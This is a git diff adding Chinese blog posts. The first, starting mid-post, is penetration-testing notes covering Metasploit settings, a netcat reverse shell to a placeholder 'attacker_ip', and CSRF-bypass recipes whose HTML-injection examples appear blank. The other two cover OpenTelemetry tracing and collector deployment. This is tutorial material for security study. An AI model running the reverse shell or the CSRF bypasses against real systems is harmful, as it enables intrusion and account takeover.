这是想要攻击的目标服务器的 IP 地址或域名。 + +```bash +set RHOSTS target.com +``` +设置目标端口(RPORT): 默认是 80,如果目标服务器使用不同的端口,请更改它。 + +```bash +set RPORT 8080 +``` +设置请求限制(RLIMIT): 这是要发送的请求的数量。默认是 1000。 + +```bash +set RLIMIT 1000 +``` +设置目标 URI(TARGETURI): 如果 WordPress 安装在子目录中,需要设置这个。 + +```bash +set TARGETURI /wordpress/ +``` +设置 SSL(SSL): 如果目标网站使用 HTTPS,将这个选项设置为 true。 + +```bash +set SSL true +``` +设置代理(Proxies): 如果想通过代理进行攻击,可以设置这个选项。 + +```bash +set Proxies http:127.0.0.1:8080 +``` +设置虚拟主机(VHOST): 如果目标服务器使用虚拟主机,设置这个选项。 + +```bash +set VHOST virtualhost.com +``` +运行攻击: 一旦所有设置都完成,可以运行攻击。 + +```bash +run +``` + +```bash +set RHOSTS target.com +set USERNAME admin +set PASSWORD password123 +``` +执行攻击:一切准备就绪后,输入 exploit 或 run 来执行攻击。 + +```bash +exploit +``` +有效载荷(Payloads):某些模块允许设置不同类型的有效载荷。可以使用 show payloads 查看可用的有效载荷,并用 set PAYLOAD 来设置。 + +获取会话(Sessions):成功的攻击通常会创建一个会话,可以用 sessions 命令查看它们。 + +```bash +sessions -l +``` +交互式会话:使用 sessions -i [会话ID] 进入交互式会话。 + +```bash +sessions -i 1 +``` + +#### Netcat +Netcat: 网络调试和探查工具。 + +```shell +brew install netcat +``` + +基础用法 +创建一个简单的 TCP 服务器 + +打开一个终端并运行以下命令以在端口 1234 上启动一个 TCP 服务器。 + +```bash +nc -l 1234 +``` +创建一个简单的 TCP 客户端 + +打开另一个终端并运行以下命令以连接到上面创建的服务器。 + +```bash +nc localhost 1234 +``` +现在,可以在客户端终端中输入文本,并在服务器终端中看到相同的文本。 + +文件传输 + +服务器端: 在服务器端等待接收文件。 +```bash +nc -l 1234 > received_file.txt +``` +客户端端: 发送一个文件到服务器。 + +```bash +nc localhost 1234 < send_file.txt +``` + +端口扫描 +可以使用 Netcat 执行基础的端口扫描。 + +```bash +nc -zv localhost 20-80 +``` + +高级用法 + +反向 Shell +攻击者机器: 在攻击者的机器上运行。 +```bash +nc -l 1234 +``` +目标机器: 在目标机器上运行。 + +```bash +nc attacker_ip 1234 -e /bin/bash +``` + +攻击者机器: 这是发起攻击的计算机。在这个计算机上,攻击者会运行各种工具和命令,试图访问或控制目标机器。在给出的例子中,nc -l 1234 是在攻击者机器上运行的,用于监听(等待)目标机器的连接。 + +目标机器: 这是攻击者试图访问或控制的计算机。在给出的例子中,nc attacker_ip 1234 -e /bin/bash 是在目标机器上运行的。这个命令会连接到攻击者机器,并执行 /bin/bash,从而允许攻击者通过网络执行 shell 命令。 + +简单来说,如果是目标(被攻击者),不会在自己的机器上运行 nc attacker_ip 1234 -e /bin/bash,因为这样做会给攻击者提供对机器的控制权。相反,攻击者会尝试某种方式让的机器执行这个命令,以便他们能够控制的机器。 + + + +Wireshark: 网络协议分析器。 + +密码破解 +John the Ripper: 密码破解工具。 +Hashcat: 高级密码恢复工具。 + +无线网络测试 +Aircrack-ng: 用于802.11 WEP和WPA-PSK密钥破解的工具套件。 +Kismet: 无线网络侦查和侦查工具。 + +社会工程攻击 +SET (Social Engineer Toolkit): 社会工程攻击工具套件。 +Phishing Frenzy: 钓鱼攻击模板管理框架。 + +其他工具 +Gitrob: 用于查找敏感数据泄露的GitHub存储库。 +Droopescan: 用于扫描Drupal、WordPress和其他CMS的工具。 +BeEF (Browser Exploitation Framework): 专注于Web浏览器的渗透测试工具。 +框架和平台 +Kali Linux: 包含多种渗透测试工具的Linux发行版。 +PentestBox: Windows上的渗透测试环境。 +这些工具只是冰山一角,渗透测试是一个不断发展的领域,新的工具和技术不断出现。除了掌握这些工具外,深入的理论知识和实践经验也是非常重要的。 + + + + + + +## CSRF + +### 常见的方法 +绕过 CSRF(跨站请求伪造)保护的方法通常涉及对目标网站的安全机制的深入理解和利用。这些方法可能包括但不限于: + +1. 利用站点的逻辑漏洞 +不完全的 CSRF 令牌验证:如果网站只部分验证 CSRF 令牌,攻击者可能会尝试找到可以绕过验证的方法。 + +2. 利用第三方网站的漏洞 +点击劫持(Clickjacking):攻击者可以在一个看似无害的网页上嵌入目标网站的页面,并诱导用户进行点击,从而触发 CSRF 攻击。 + +3. 利用用户的信任 +社会工程学:攻击者可能会通过钓鱼邮件或其他方式诱导用户点击一个精心设计的链接,该链接会触发 CSRF 攻击。 + +4. 利用网站的 CORS 设置 +错误配置的 CORS(跨源资源共享):如果目标网站错误地配置了 CORS 设置,攻击者可能会利用这一点进行 CSRF 攻击。 + +5. HTTP 请求走私 +HTTP Request Smuggling:通过精心构造的请求,攻击者可能能够绕过前端安全设备(如 Web 应用防火墙)的检查,从而执行 CSRF 攻击。 + +6. 利用网站的 XSS 漏洞 +跨站脚本(XSS):如果网站存在 XSS 漏洞,攻击者可以注入恶意脚本来获取 CSRF 令牌,然后执行 CSRF 攻击。 + +7. 利用自动填充功能 +自动填充表单:某些浏览器或插件可能会自动填充表单,攻击者可能会利用这一点来触发 CSRF 攻击。 + +8. 利用移动应用的漏洞 +移动应用中的 WebView 组件:如果移动应用使用 WebView 来加载网页,并且没有正确实现 CSRF 保护,攻击者可能会利用这一点。 + +9. 其他绕过技术 +Meta 标签、JavaScript 重定向等:某些情况下,使用 HTML Meta 标签或 JavaScript 进行页面重定向可能会绕过 CSRF 保护。 + + + + +### 1.跨账户使用 CSRF 令牌 + +最简单和最致命的CSRF绕过是当应用程序不验证CSRF令牌是否绑定到特定帐户并且仅验证算法时。验证这一点 + +> 从账户 A 登录应用程序 + +> 转到其密码更改页面 + +> 使用Burpsuite捕获 CSRF 令牌 + +> 使用帐户 B 注销和登录 + +> 转到密码更改页面并拦截该请求 + +> 替换 CSRF 令牌 + +这个过程描述了一种 CSRF(跨站请求伪造)攻击的绕过方法,该方法利用了应用程序在处理 CSRF 令牌时的一个关键漏洞:即应用程序没有将 CSRF 令牌绑定到特定的用户账户。 + +下面是具体的步骤解释: + +步骤 1:从账户 A 登录应用程序 +首先,攻击者使用账户 A 登录到目标应用程序。 +步骤 2:转到其密码更改页面 +攻击者导航到应用程序的密码更改页面。 +步骤 3:使用 Burp Suite 捕获 CSRF 令牌 +在这一步,攻击者使用 Burp Suite(一种常用的 Web 安全测试工具)来拦截和捕获生成的 CSRF 令牌。 +步骤 4:使用账户 B 注销和登录 +现在,攻击者从账户 A 注销,并使用另一个账户 B 登录。 +步骤 5:转到密码更改页面并拦截该请求 +攻击者再次导航到密码更改页面,并使用 Burp Suite 拦截这次的请求。 +步骤 6:替换 CSRF 令牌 +在这一步,攻击者将拦截到的请求中的 CSRF 令牌替换为第一次捕获的令牌(即账户 A 的令牌)。 +如果应用程序没有将 CSRF 令牌与特定用户绑定,那么这个替换的令牌将会被接受,从而允许攻击者以账户 B 的身份更改密码。 + +这种攻击是致命的,因为它允许攻击者以其他用户的身份执行敏感操作,而不需要知道他们的密码或其他凭据。 + + +### 2.相同长度的替换值 + +> 另一种技术是找到该标记的长度,例如,它是变量下的 32 个字符的字母数字标记,authenticity_token替换相同的变量,其他 32 个字符的值 + +例如,令牌是ud019eh10923213213123,可以将其替换为相同值的令牌。 + +示例: +假设原始的 CSRF 令牌是 ud019eh10923213213123,这是一个 32 个字符的字母数字字符串。 + +攻击步骤: +分析令牌格式:首先,攻击者会分析这个 CSRF 令牌的格式。在这个例子中,它是一个 32 个字符的字母数字字符串。 + +生成新令牌:然后,攻击者生成另一个符合相同格式要求的令牌。例如,他们可能生成一个新的 32 个字符的字母数字字符串,如 ab123456789012345678901234567890。 + +替换令牌:攻击者现在将原始请求中的 CSRF 令牌替换为他们生成的新令牌。 + +发送请求:最后,攻击者发送这个修改过的请求。 + +如果应用程序在验证 CSRF 令牌时只检查其长度和格式,而不检查其实际内容,那么这个新的令牌就有可能被接受,从而成功绕过 CSRF 保护。 + +### 3.从请求中完全删除 CSRF 令牌 + +> 这种技术通常适用于帐户删除功能,其中令牌根本不经过验证,使攻击者具有通过CSRF删除任何用户帐户的优势。 + +但我发现它也可以在其他功能上使用。很简单,使用burpsuite拦截请求并从整个中删除令牌 + +这种绕过 CSRF 保护的方法基于一个假设:应用程序在处理某些请求时,可能没有严格验证 CSRF 令牌。在这种情况下,即使请求中没有 CSRF 令牌,应用程序也可能会接受并处理该请求。 + +示例: +假设一个应用程序有一个用于删除用户账户的功能,该功能需要一个 CSRF 令牌。 + +攻击步骤: +拦截请求:首先,攻击者使用工具(如 Burp Suite)拦截向服务器发送的删除账户的 HTTP 请求。 + +删除令牌:然后,攻击者从拦截的请求中完全删除 CSRF 令牌。 + +发送请求:最后,攻击者发送这个修改过的请求。 + +如果应用程序没有正确验证 CSRF 令牌,那么这个没有令牌的请求可能会被接受,从而导致账户被删除。 + +这种方法的成功与否取决于应用程序如何实施其 CSRF 保护。如果应用程序没有严格验证 CSRF 令牌,或者在没有令牌的情况下也接受请求,那么这种攻击就有可能成功。 + +### 4.解码 CSRF token + +绕过 CSRF 的另一种方法是识别 CSRF 令牌的算法。 + +CSRF 令牌是 MD5 或 Base64 编码值。可以解码该值并在该算法中对下一个值进行编码,并使用该令牌。 + +例如“a0a080f42e6f13b3a2df133f073095dd”是MD5(122)。也可以类似地加密下一个值 MD5(123) 到 CSRF 令牌绕过。 + +示例: +假设一个应用程序使用 MD5 算法和一个固定的值(比如 "122")来生成 CSRF 令牌。这样,MD5("122") 就会生成一个特定的 CSRF 令牌,比如 "a0a080f42e6f13b3a2df133f073095dd"。 + +攻击步骤: +识别算法:首先,需要识别出应用程序是如何生成 CSRF 令牌的。这可能需要一些逆向工程或代码审计。 + +生成新令牌:一旦知道了算法和用于生成令牌的值(在这个例子中是 "122" 和 MD5 算法),就可以生成一个新的令牌。比如,使用 "123" 作为新的值,然后计算 MD5("123")。 + +替换令牌:最后,可以在发送到服务器的请求中使用这个新生成的 CSRF 令牌,从而绕过 CSRF 保护。 + +如果应用程序没有其他额外的安全检查,这种方法就有可能成功。 + +注意: +这种方法需要对目标应用有深入的了解,包括其如何生成和验证 CSRF 令牌。 + +这种方法也假设应用程序的 CSRF 令牌生成方式存在缺陷,比如使用了简单的算法和固定的值。 + + +### 5.通过 HTML 注入提取令牌 +此技术利用 HTML 注入漏洞,攻击者可以利用该漏洞植入记录器,从该网页中提取 CSRF 令牌并使用该令牌。攻击者可以植入链接,例如 + +```html +
+``` +例如,攻击者可以在 HTML 注入的代码中添加 JavaScript,该代码会获取 CSRF 令牌并将其发送到攻击者的服务器。 + +```html + +``` +在这个例子中,JavaScript 代码会查找名为 csrf_token 的 HTML 元素(通常是一个隐藏的输入字段),获取其值(即 CSRF 令牌),然后通过创建一个新的 Image 对象并设置其 src 属性为攻击者服务器上的一个 URL(附加了 CSRF 令牌作为查询参数)来将其发送到攻击者的服务器。 + +当这个 Image 对象被创建时,浏览器会尝试加载这个图片,从而触发一个到攻击者服务器的 HTTP 请求,该请求包含了 CSRF 令牌。 + +这样,攻击者就可以从他们自己的服务器日志或其他收集机制中获取这个令牌,并用它来进行 CSRF 攻击。 + +### 6. 仅使用令牌的静态部分 +CSRF token由两部分组成。静态部件和动态部件。 + +> 考虑两个CSRF令牌shahmeer742498h989889shahmeer7424ashda099s。大多数情况下,如果使用令牌的静态部分作为shahmeer7424,则可以使用该令牌 + +在这个例子中,CSRF 令牌由两部分组成:一个静态部分和一个动态部分。在给出的两个令牌 "shahmeer742498h989889" 和 "shahmeer7424ashda099s" 中,静态部分是 "shahmeer7424",而动态部分分别是 "98h989889" 和 "ashda099s"。 + +这种情况下,如果应用程序在验证 CSRF 令牌时只检查静态部分(即 "shahmeer7424"),那么攻击者可以只使用这一部分来绕过 CSRF 保护。 + +如何进行攻击: +识别静态和动态部分:首先,需要确定令牌中哪一部分是静态的,哪一部分是动态的。 + +构造新令牌:然后,可以使用静态部分构造一个新的 "有效" 令牌。在这个例子中,可以使用 "shahmeer7424" 加上任意的动态部分。 + +替换令牌:最后,在发送到服务器的请求中使用这个新构造的令牌。 + +如果应用程序只检查令牌的静态部分,那么这种攻击就有可能成功。 + +注意: +这种方法需要能够识别出 CSRF 令牌的静态和动态部分,这可能需要一些逆向工程或代码审计。 + +这种方法也假设应用程序的 CSRF 令牌验证机制存在缺陷。 \ No newline at end of file diff --git a/_posts/2023-11-11-test-markdown.md b/_posts/2023-11-11-test-markdown.md new file mode 100644 index 000000000000..8b5dc2cd5019 --- /dev/null +++ b/_posts/2023-11-11-test-markdown.md @@ -0,0 +1,215 @@ +--- +layout: post +title: 可观测性平台 +subtitle: +tags: [可观测性] +comments: true +--- + +> 难点:分布式链路追踪技术原理/不同采样策略的优势/ + + +## 调用链追踪系统的问题 + +> 系统采用头部连贯采样(head-based coherent sampling)的 Rate Limiting限流采样策略,即在 trace 的第一个 span 产生时,就根据限流策略:每个进程每秒最多采 1 条 trace,来决定该 trace 是否会被采集。这就会导致小流量接口的调用数据被采集到的概率较低,叠加服务出错本身就是小概率事件,因此错误调用的 trace 数据被采集到的概率就更低。 + +> 即使错误调用 trace 数据有幸被系统捕捉到,但 trace 上只能看到本次请求的整体调用链关系和时延分布,除非本次错误是由某个服务接口超时导致的,否则仅凭 trace 数据,很难定位到本次问题的 root cause。 + +> 就算 trace 数据中能明显看到某个服务接口超时,但引发超时的并不一定是该接口本身,可能是该服务(或数据库、缓存等三方资源)被其他异常请求耗尽资源,而导致本次请求超时。 + + +当用户的请求进来的时候,我们在第一个接收到这个请求的服务器的中间件会生成唯一的 TraceID,这个 TraceID 会随着每一次分布式调用透传到下游的系统当中,所有透传的事件会存储在 RPC log 文件当中,随后我们会有一个中心化的处理集群把所有机器上的日志增量地收集到集群当中进行处理,处理的逻辑比较简单,就是做了简单清洗后再倒排索引。只要系统中报错,然后把 TraceID 作为异常日志当中的关键字打出来,我们可以看到这次调用在系统里面经历了这些事情,我们通过 TraceID 其实可以很容易地看到这次调用是卡在 B 到 C 的数据库调用,它超时了,通过这样的方式我们可以很容易追溯到这次分布式调用链路中问题到底出在哪里。其实通过 TraceId 我们只能够得到上面这张按时间排列的调用事件序列,我们希望得到的是有嵌套关系的调用堆栈。 + +TraceId:调用事件序列 +SpanID:还原调用堆栈 + +### 头采样和尾采样 + +针对异常 trace 被采集的概率很低的问题,最容易想到的解决方案是对所有的 trace 数据进行采集,但这样做存储成本会很大,同时数据整体信噪比也会很低。其实,该问题的本质就在于如何做到对异常情况下「有意义」trace 尽采,对其他 trace 少采。但,系统目前采用头部连贯采样(head-based coherent sampling),在 trace 第一个 span 产生时,就已经对是否采集该 trace 做出了决定,并不能感知该 trace 是否「有意义」。 经过充分调研,团队引入 OpenTelemetry 进行调用链通路改造,实现尾部连贯采样(tail-based coherent sampling)。 +即在获取每一条完整的 trace 数据后,根据该 trace 是否「有意义」,再来决定采集与否。具体实施细节 + +添加「服务日志」标签,注入服务在本次请求中产生的相关日志,同时对存在异常的 span 添加「关注」标签,形成「调用链日志分析」功能,以便在系统中快速定位出本次请求的异常服务。 + +对于接口超时导致的异常,需要先排查接口自身可能的原因。若排除后,就需要进行服务上下游依赖的「深入挖掘分析」,找出可能被其他接口调用影响的原因。 + +团队还在访问数据库的 SQL 语句中采用 comment 方式埋入请求 trace_id, +以便慢日志报警系统的报警文案中可以携带慢请求的 trace_id。 + + +### 数据库中间价追踪 + + +> 如何准确地标识和追踪数据库中间件中的每一个请求的? + +为了准确地标识和追踪每一个请求,我使用了分布式追踪框架,比如Zipkin或Jaeger,来生成唯一的Trace ID和Span ID。这些ID会在请求进入数据库中间件时生成,并在整个请求处理流程中传递。这样,我们就能准确地追踪每一个请求,从它进入中间件到最终返回结果的整个过程。 + + +> 如何追踪数据库中间件中的路由和缓存行为的? + +在数据库中间件中,路由和缓存是两个关键的环节。在这些关键点添加了额外的追踪逻辑。例如,在进行路由决策时,记录下选择了哪个数据库实例,并将这些信息添加到当前的Span中。对于缓存行为,我会追踪缓存命中或缓存未命中,并记录相关的性能指标。 + + +> 网络延迟和错误处理,这些是如何被追踪的? + +例如,如果一个请求在网络传输中耗时过长,我会记录下这个延迟;如果出现了错误,我会记录下错误类型和错误消息。这些信息都会被附加到相应的Span上,以便后续分析。 + + +> 在涉及敏感数据的追踪中,如何确保数据安全的? + +敏感数据本身不会被记录在追踪信息中。其次,所有的追踪数据都会被加密存储,并且只有授权的人员才能访问。 + + +高并发和大规模数据处理 + +如何在高并发环境下准确地追踪每一个请求? +在大规模数据处理中,是如何优化追踪性能的? +跨服务和跨语言支持 + +在一个微服务架构中,如何确保跨服务和跨语言的一致性? +是如何处理不同服务或语言中的数据格式不一致问题的? +数据安全和隐私 + +在涉及敏感数据的追踪中,是如何确保数据安全的? +如何处理GDPR等数据保护法规? +网络延迟和错误处理 + +是如何量化和追踪网络延迟的? +在出现网络错误时,是如何进行故障排除和恢复的? +可视化和监控 + +是如何实现追踪数据的实时可视化的? +如何设置警报和监控,以便及时发现问题? +与现有系统的集成 + +是如何将分布式追踪与现有的监控和日志系统集成的? +在集成过程中遇到了哪些问题,又是如何解决的? +成本和资源优化 + +分布式追踪会带来额外的成本和资源消耗,是如何进行优化的? +有没有考虑到存储和查询效率? +开源与商业工具 + +有没有使用开源工具进行分布式追踪?与商业工具相比,优缺点是什么? + + +```go +ctx, span := Tracer.Start(ctx, "Optimize") + span.SetAttributes(attribute.Key("sql.type").String(o.Stmt.Mode().String())) + defer func() { + span.End() + if rec := recover(); rec != nil { + err = perrors.Errorf("cannot analyze sql %s", rcontext.SQL(ctx)) + log.Errorf("optimize panic: sql=%s, rec=%v", rcontext.SQL(ctx), rec) + } + }() +``` + +```go +var sb strings.Builder + ctx, span := plan.Tracer.Start(ctx, "KillPlan.ExecIn") + defer span.End() +``` + +```go +ctx, span := plan.Tracer.Start(ctx, "ShowUsers.ExecIn") + defer span.End() +``` + +```go +ctx, span := plan.Tracer.Start(ctx, "SimpleInsertPlan.ExecIn") + defer span.End() +``` + +```go +ctx, span := plan.Tracer.Start(ctx, "ShowCharacterSet.ExecIn") + defer span.End() +``` + +```go +ctx, span := plan.Tracer.Start(ctx, "ShowDatabasesPlan.ExecIn") + defer span.End() +``` +```go +ctx, span := plan.Tracer.Start(ctx, "LocalSelectPlan.ExecIn") + defer span.End() +``` + +```go +_, span := plan.Tracer.Start(ctx, "ShowDatabaseRulesPlan.ExecIn") + defer span.End() +``` + +```go +ctx, span := plan.Tracer.Start(ctx, "ShowStatusPlan.ExecIn") + defer span.End() +``` +```go +ctx, span := plan.Tracer.Start(ctx, "CompositePlan.ExecIn") + defer span.End() +``` + +```go +ctx, span := plan.Tracer.Start(ctx, "ShowWarningsPlan.ExecIn") + defer span.End() +``` + + +```go +ctx, span := plan.Tracer.Start(ctx, "AnalyzeTable.ExecIn") + defer span.End() +``` + +```go +ctx, span := plan.Tracer.Start(ctx, "UpdatePlan.ExecIn") + defer span.End() +``` + +```go +_, span := Tracer.Start(ctx, "defaultRuntime.Begin") + defer span.End() +``` + +```go +ctx, span := plan.Tracer.Start(ctx, "DescribePlan.ExecIn") + defer span.End() +``` + +```go +ctx, span := plan.Tracer.Start(ctx, "OptimizeTable.ExecIn") + defer span.End() +``` + +```go +ctx, span := Tracer.Start(ctx, "Optimize") + span.SetAttributes(attribute.Key("sql.type").String(o.Stmt.Mode().String())) + defer func() { + span.End() + if rec := recover(); rec != nil { + err = perrors.Errorf("cannot analyze sql %s", rcontext.SQL(ctx)) + log.Errorf("optimize panic: sql=%s, rec=%v", rcontext.SQL(ctx), rec) + } + }() +``` + +在一个Trace中,不同的Span之间通常存在父子关系,这些关系构成了一种树状结构。在这个树状结构中,每个Span(除了根Span)都有一个父Span,并且可能有零个或多个子Span。 + +树状结构 +根Span:这是Trace的起点,没有父Span。 +内部Span:这些Span有一个父Span和零个或多个子Span。 +叶子Span:这些Span有一个父Span但没有子Span。 + +关系类型 +ChildOf:这是最常见的关系类型,表示父Span的操作逻辑包含了子Span的操作。 +FollowsFrom:这种关系用于那些父Span不必等待子Span完成的场景。 +示例 +假设一个Web应用有一个HTTP请求来了,这个请求需要先查询数据库,然后调用一个外部API,最后再进行一些计算后返回响应。 + +根Span:处理HTTP请求 +子Span 1:数据库查询 +子Span 1.1:SQL查询1 +子Span 1.2:SQL查询2 +子Span 2:调用外部API +子Span 3:计算和响应 +这里,"处理HTTP请求"是根Span,它有三个子Span:数据库查询、调用外部API和计算与响应。"数据库查询"这个Span又有两个子Span:SQL查询1和SQL查询2。这样构成了一个树状结构。 + +通过这种方式,树状结构能够非常清晰地表示出各个操作之间的依赖关系,以及它们是如何组合在一起来处理一个更大的任务(即一个Trace)的。 diff --git a/_posts/2023-11-12-test-markdown.md b/_posts/2023-11-12-test-markdown.md new file mode 100644 index 000000000000..0a4ff398830f --- /dev/null +++ b/_posts/2023-11-12-test-markdown.md @@ -0,0 +1,196 @@ +--- +layout: post +title: 使用 OpenTelemetry 构建可观测性 +subtitle: +tags: [可观测性] +comments: true +--- + +对导出器来说输出遥测数据的目的地是多样的。当导出器可以直接发送到 Jaeger、Prometheus 或控制台时,为什么还要选择 OTel Collector 呢?答案是由于灵活性: + +将遥测数据从收集器同时发送给多个不同的目标 +在发送之前对数据加工处理(添加/删除属性、批处理等) +解耦生产者和消费者 + + +> 收集器的主要组件包括: + +receive模块 - 从收集器外部收集遥测数据(例如 OTLP、Kafka、MySQL、syslog) +process模块 - 处理或转换数据(例如属性、批次、Kubernetes 属性) +exporter模块 - 将处理后的数据发送到另一个目标(例如 Jaeger、AWS Cloud Watch、Zipkin) + +扩展模块 - 收集器增强功能的插件(例如 HTTP 转发器) +在 Kubernetes 中运行 OpenTelemetry Collector 的两种方式 +运行 OTel Collector 的方法有多种,比如您可以将其作为独立进程运行。不过也有很多场景都会涉及到 Kubernetes 集群的使用,在 Kubernetes 中,有两种主要的方式来运行 OpenTelemetry Collector 收集器的运行方式主要有两种。 + +第一种方式(也是示例应用程序中使用的)是守护进程( DaemonSet ),每个集群节点上都有一个收集器 pod: +在这种情况下,产生遥测数据的实例将导出到同节点中收集器的实例里面。通常,还会有一个网关收集器,从节点中收集器的实例中汇总数据。 + +在 Kubernetes 中运行收集器的另一种方式是作为附加辅助容器和主程序部署在同一个Pod中的边车模式( sidecars )。也就是说,应用程序 Pod 和收集器实例之间存在一对一的映射关系,它们共享相同的资源,无需额外的网络开销,紧密耦合并共享相同的生命周期。 + + +在 OpenTelemetry Operator 中是使用注释 sidecar.opentelemetry.io/inject 来实现将 sidecar 容器注入到应用程序 Pod 中。 + +> 核心版与贡献版的区别 + +OTel Collector 是一个设计高度可插拔拓展的系统。这样的设计非常灵活,因为随着当前和未来各种接收模块、处理模块、导出模块和扩展模块的增加,我们就可以利用插件机制进行集成。 OpenTelemetry 引入收集器分发的概念,其含义是根据需要选择不同组件,以创建满足特定需求的定制化收集器版本。 + +在撰写本文时,有两个分发版:Core 和 contrib。核心分发版的命名恰如其分,仅包含核心模块。但贡献版呢?全部。可以看到它包含了一长串的接收模块、处理模块和导出模块的列表。 + +定制化收集器分发版的构建 +如果核心版和贡献版都无法完全满足的需求,可以使用 OpenTelemetry 提供的 ocb 工具自定义自己的收集器分发版本。该工具可以帮助选择和组合需要的功能和组件,以创建符合特定需求的自定义收集器分发版本。这样既可以获得所需的功能,又能避免贡献版中的不必要组件。 + +为了使用 ocb 工具构建自定义的收集器分发版本,需要提供一个 YAML 清单文件来指定构建的方式。一种简单的做法是使用 contrib manifest.yaml ,在该文件的基础上删除不需要的组件,以创建适合应用程序需求的小型清单。这样就可以得到一个只包含必要组件的自定义收集器分发版本,以满足当前收集器场景,而且没有多余的组件。 +```yaml +dist: + module: github.com/trstringer/otel-shopping-cart/collector + name: otel-shopping-cart-collector + description: OTel Shopping Cart Collector + version: 0.57.2 + output_path: ./collector/dist + otelcol_version: 0.57.2 + +exporters: + - import: go.opentelemetry.io/collector/exporter/loggingexporter + gomod: go.opentelemetry.io/collector v0.57.2 + - gomod: github.com/open-telemetry/opentelemetry-collector-contrib/exporter/jaegerexporter v0.57.2 + +processors: + - import: go.opentelemetry.io/collector/processor/batchprocessor + gomod: go.opentelemetry.io/collector v0.57.2 + +receivers: + - import: go.opentelemetry.io/collector/receiver/otlpreceiver + gomod: go.opentelemetry.io/collector v0.57.2 +``` + +```bash + +$ ocb --config ./collector/manifest.yaml +2022-08-09T20:38:24.325-0400 INFO internal/command.go:108 OpenTelemetry Collector Builder {"version": "0.57.2", "date": "2022-08-03T21:53:33Z"} +2022-08-09T20:38:24.326-0400 INFO internal/command.go:130 Using config file {"path": "./collector/manifest.yaml"} +2022-08-09T20:38:24.326-0400 INFO builder/config.go:99 Using go {"go-executable": "/usr/local/go/bin/go"} +2022-08-09T20:38:24.326-0400 INFO builder/main.go:76 Sources created {"path": "./collector/dist"} +2022-08-09T20:38:24.488-0400 INFO builder/main.go:108 Getting go modules +2022-08-09T20:38:24.521-0400 INFO builder/main.go:87 Compiling +2022-08-09T20:38:25.345-0400 INFO builder/main.go:94 Compiled {"binary": "./collector/dist/otel-shopping-cart-collector"} +``` +最终输出一个二进制文件,在我的环境中,位于 ./collector/dist/otel-shopping-cart-collector 。不过还没结束,由于要在 Kubernetes 中运行这个收集器,所以需要创建一个容器映像。使用 contrib Dockerfile 作为基础模版,最终得到以下内容: +```Dockerfile +Dockerfile Dockerfile +FROM alpine:3.13 as certs +RUN apk --update add ca-certificates + +FROM alpine:3.13 AS collector-build +COPY ./collector/dist/otel-shopping-cart-collector /otel-shopping-cart-collector +RUN chmod 755 /otel-shopping-cart-collector + +FROM ubuntu:latest + +ARG USER_UID=10001 +USER ${USER_UID} + +COPY --from=certs /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ca-certificates.crt +COPY --from=collector-build /otel-shopping-cart-collector / +COPY collector/config.yaml /etc/collector/config.yaml +ENTRYPOINT ["/otel-shopping-cart-collector"] +CMD ["--config", "/etc/collector/config.yaml"] +EXPOSE 4317 55678 55679 +``` +在本例中,我将 config.yaml 直接嵌入到镜像中,但您可以通过使用 ConfigMap 来使其更加动态: + +```yaml +receivers: + otlp: + protocols: + grpc: + http: + +processors: + batch: + +exporters: + logging: + logLevel: debug + jaeger: + endpoint: jaeger-collector:14250 + tls: + insecure: true + +service: + pipelines: + traces: + receivers: [otlp] + processors: [batch] + exporters: [logging, jaeger] +``` +最后创建此镜像后,我需要创建 DaemonSet 清单: + +```yaml +apiVersion: apps/v1 +kind: DaemonSet +metadata: + name: otel-collector-agent +spec: + selector: + matchLabels: + app: otel-collector + template: + metadata: + labels: + app: otel-collector + spec: + containers: + - name: opentelemetry-collector + image: "{{ .Values.collector.image.repository }}:{{ .Values.collector.image.tag }}" + imagePullPolicy: "{{ .Values.collector.image.pullPolicy }}" + env: + - name: MY_POD_IP + valueFrom: + fieldRef: + apiVersion: v1 + fieldPath: status.podIP + ports: + - containerPort: 14250 + hostPort: 14250 + name: jaeger-grpc + protocol: TCP + - containerPort: 4317 + hostPort: 4317 + name: otlp + protocol: TCP + - containerPort: 4318 + hostPort: 4318 + name: otlp-http + protocol: TCP + dnsPolicy: ClusterFirst + restartPolicy: Always + terminationGracePeriodSeconds: 30 +``` +我使用的是Helm Chart 来部署,并设置了一些动态设置的配置值。安装时可以通过查看收集器的日志,来验证这些值是否正确地被应用: +```shell +2022-08-10T00:47:00.703Z info service/telemetry.go:103 Setting up own telemetry... +2022-08-10T00:47:00.703Z info service/telemetry.go:138 Serving Prometheus metrics {"address": ":8888", "level": "basic"} +2022-08-10T00:47:00.703Z info components/components.go:30 In development component. May change in the future. {"kind": "exporter", "data_type": "traces", "name": +2022-08-10T00:47:00.722Z info extensions/extensions.go:42 Starting extensions... +2022-08-10T00:47:00.722Z info pipelines/pipelines.go:74 Starting exporters... +2022-08-10T00:47:00.722Z info pipelines/pipelines.go:78 Exporter is starting... {"kind": "exporter", "data_type": "traces", "name": "logging"} +2022-08-10T00:47:00.722Z info pipelines/pipelines.go:82 Exporter started. {"kind": "exporter", "data_type": "traces", "name": "logging"} +2022-08-10T00:47:00.722Z info pipelines/pipelines.go:78 Exporter is starting... {"kind": "exporter", "data_type": "traces", "name": "jaeger"} +2022-08-10T00:47:00.722Z info pipelines/pipelines.go:82 Exporter started. {"kind": "exporter", "data_type": "traces", "name": "jaeger"} +2022-08-10T00:47:00.722Z info pipelines/pipelines.go:86 Starting processors... +2022-08-10T00:47:00.722Z info jaegerexporter@v0.57.2/exporter.go:186 State of the connection with the Jaeger Collector backend {"kind": "exporter", "data_type +2022-08-10T00:47:00.722Z info pipelines/pipelines.go:90 Processor is starting... {"kind": "processor", "name": "batch", "pipeline": "traces"} +2022-08-10T00:47:00.722Z info pipelines/pipelines.go:94 Processor started. {"kind": "processor", "name": "batch", "pipeline": "traces"} +2022-08-10T00:47:00.722Z info pipelines/pipelines.go:98 Starting receivers... +2022-08-10T00:47:00.722Z info pipelines/pipelines.go:102 Receiver is starting... {"kind": "receiver", "name": "otlp", "pipeline": "traces"} +2022-08-10T00:47:00.722Z info otlpreceiver/otlp.go:70 Starting GRPC server on endpoint 0.0.0.0:4317 {"kind": "receiver", "name": "otlp", "pipeline": "traces"} +2022-08-10T00:47:00.722Z info otlpreceiver/otlp.go:88 Starting HTTP server on endpoint 0.0.0.0:4318 {"kind": "receiver", "name": "otlp", "pipeline": "traces"} +2022-08-10T00:47:00.722Z info pipelines/pipelines.go:106 Receiver started. {"kind": "receiver", "name": "otlp", "pipeline": "traces"} +2022-08-10T00:47:00.722Z info service/collector.go:215 Starting otel-shopping-cart-collector... {"Version": "0.57.2", "NumCPU": 4} +``` +最后一行显示了自定义分发版的名称:“otel-shopping-cart-collector”。就像这样,使用 Helm 